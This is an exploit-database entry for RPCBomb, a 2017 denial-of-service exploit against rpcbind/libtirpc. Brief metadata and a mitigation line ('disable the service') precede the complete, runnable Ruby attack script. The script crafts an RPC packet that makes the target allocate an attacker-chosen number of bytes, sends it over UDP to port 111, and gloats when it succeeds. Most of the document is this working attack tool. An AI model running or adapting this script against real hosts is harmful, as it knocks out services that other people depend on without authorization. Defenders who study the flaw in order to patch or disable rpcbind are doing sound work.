RPCBomb

vendor:

N/A

by:

Guido Vranken

7,5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix-like systems

2017

RPCBomb is a DoS exploit for *nix rpcbind/libtirpc. It sends a packet to the target with a specified number of bytes to allocate, which can cause the target to crash or become unresponsive.

Mitigation:

Disable the rpcbind/libtirpc service if it is not needed.

Source

Exploit-DB raw data:

#!/usr/bin/ruby
#
# Source: https://raw.githubusercontent.com/guidovranken/rpcbomb/fe53048af2d4fb78c911e71a30f21afcffbbf5e1/rpcbomb.rb
#
# By Guido Vranken https://guidovranken.wordpress.com/
# Thanks to Sean Verity for writing an exploit in Ruby for an earlier
# vulnerability: https://www.exploit-db.com/exploits/26887/
# I've used it as a template.

require 'socket'
def usage
        abort "\nusage: ./rpcbomb.rb <target> <# bytes to allocate> [port]\n\n"
end
bomb = """
                               ` + # ,         
                           : @ @ @ @ @ @       
               @ @ ; . + @ @ @ .       @ @     
                 @ @ @ @ @ `           @ @     
                                 . `   @ #     
                     ; @ @ @ . : @ @ @ @       
                 @ @ @ @ @ @ @ @ @ @ @ ;       
               @ @ @ @ @ @ @ @ @ @ @ @ @ `     
             @ @ @ @ @ @ @ @ @ @ @ @ @ @ :     
           # @ @ @ @ @ @ @ @ @ @ @ @ @ '       
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         . @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         : @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ ,       
             @ @ @ @ @ @ @ @ @ @ @ @ @         
             , @ @ @ @ @ @ @ @ @ @ @           
               ` @ @ @ @ @ @ @ @ @             
                   , @ @ @ @ @  
     r p c b o m b

     DoS exploit for *nix rpcbind/libtirpc.

     (c) 2017 Guido Vranken.

     https://guidovranken.wordpress.com/

"""

puts bomb

if ARGV.length >= 2
    begin
        host = ARGV[0]
        numBytes = Integer(ARGV[1])
        port = ARGV.length == 3 ? Integer(ARGV[2]) : 111
    rescue
        usage
    end

    pkt = [0].pack('N')         # xid
    pkt << [0].pack('N')        # message type CALL
    pkt << [2].pack('N')        # RPC version 2
    pkt << [100000].pack('N')   # Program
    pkt << [4].pack('N')        # Program version
    pkt << [9].pack('N')        # Procedure
    pkt << [0].pack('N')        # Credentials AUTH_NULL
    pkt << [0].pack('N')        # Credentials length 0
    pkt << [0].pack('N')        # Credentials AUTH_NULL
    pkt << [0].pack('N')        # Credentials length 0
    pkt << [0].pack('N')        # Program: 0
    pkt << [0].pack('N')        # Ver
    pkt << [4].pack('N')        # Proc
    pkt << [4].pack('N')        # Argument length
    pkt << [numBytes].pack('N') # Payload

    s = UDPSocket.new
    s.send(pkt, 0, host, port)

    sleep 1.5

    begin
        s.recvfrom_nonblock(9000)
    rescue
        puts "No response from server received."
        exit()
    end

    puts "Allocated #{numBytes} bytes at host #{host}:#{port}.\n" +
        "\nDamn it feels good to be a gangster.\n\n"
else
    usage
end